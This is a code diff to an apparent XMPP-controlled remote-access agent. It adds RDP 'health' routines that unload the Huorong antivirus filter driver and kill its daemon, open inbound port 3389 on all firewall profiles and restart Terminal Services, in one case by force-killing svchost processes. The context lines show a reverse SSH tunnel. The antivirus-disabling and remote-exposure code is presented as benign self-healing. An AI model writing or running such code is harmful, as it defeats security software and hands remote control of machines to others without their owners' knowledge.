diff --git a/xmpp_agent_core.py b/xmpp_agent_core.py index 990d0bf..b00d1ee 100644 --- a/xmpp_agent_core.py +++ b/xmpp_agent_core.py @@ -241,6 +241,69 @@ def _rdp_tunnel_pid(): pass return None +def _rdp_health_check(): + """Quick X.224 handshake test against localhost:3389. Returns True if RDP responds.""" + import socket as _sk + try: + _s = _sk.create_connection(('127.0.0.1', 3389), timeout=5) + # X.224 Connection Request + RDP Negotiation Request (HYBRID) + _s.sendall(bytes.fromhex('0300001b13e0000000000001000800020000000000000000000000000')) + _s.settimeout(5) + _resp = _s.recv(1024) + _s.close() + if len(_resp) >= 6 and _resp[5] in (0xd0, 0x03): + return True + except Exception: + pass + return False + +def _rdp_kill_huorong(): + """Try to temporarily disable Huorong network protection that may block RDP.""" + import subprocess as _sp + try: + # Unload sysdiag filter driver if present + _sp.run(['fltmc', 'unload', 'sysdiag'], capture_output=True, timeout=5) + log('RDP: Huorong sysdiag filter unloaded') + except Exception: + pass + # Also try to stop Huorong services (may be protected, but worth a try) + try: + _sp.run(['taskkill', '/f', '/im', 'HipsDaemon.exe'], capture_output=True, timeout=5) + except Exception: + pass + +def _rdp_health_restore(): + """Full RDP health restore: restart TermService + add firewall rule + verify.""" + import subprocess as _sp, time as _t + log('RDP: health check failed — attempting restore...') + # 1. Add explicit WFP allow rule for port 3389 + try: + _sp.run(['netsh', 'advfirewall', 'firewall', 'add', 'rule', + 'name=RDP-3389-TCP-AutoHeal', 'dir=in', 'protocol=tcp', + 'localport=3389', 'action=allow', 'profile=any'], + capture_output=True, timeout=10) + log('RDP: added netsh allow rule for 3389') + except Exception: + pass + # 2. Try to unload Huorong filter + _rdp_kill_huorong() + # 3. Full TermService restart + _t.sleep(1) + try: + _sp.run(['net', 'stop', 'TermService', '/y'], capture_output=True, timeout=30) + except Exception: + _sp.run(['taskkill', '/f', '/im', 'svchost*'], capture_output=True, timeout=5) + _t.sleep(3) + try: + _sp.run(['net', 'start', 'TermService'], capture_output=True, timeout=30) + except Exception: + pass + _t.sleep(5) + # 4. Verify + ok = _rdp_health_check() + log(f'RDP: restore result: {"OK" if ok else "STILL FAILING"}') + return ok + def _rdp_enable(): import subprocess as _sp, winreg as _wr, time as _t try: @@ -254,6 +317,13 @@ def _rdp_enable(): except Exception: pass _rdp_kill_tunnel() + # Health check: if RDP not responding, auto-restore + _t.sleep(2) + if not _rdp_health_check(): + log('RDP: initial health check FAILED — triggering auto-restore') + _rdp_health_restore() + else: + log('RDP: health check passed') try: # ExitOnForwardFailure=yes: if remote port 8080 is already in use or # sshd rejects the -R forwarding, ssh exits immediately instead of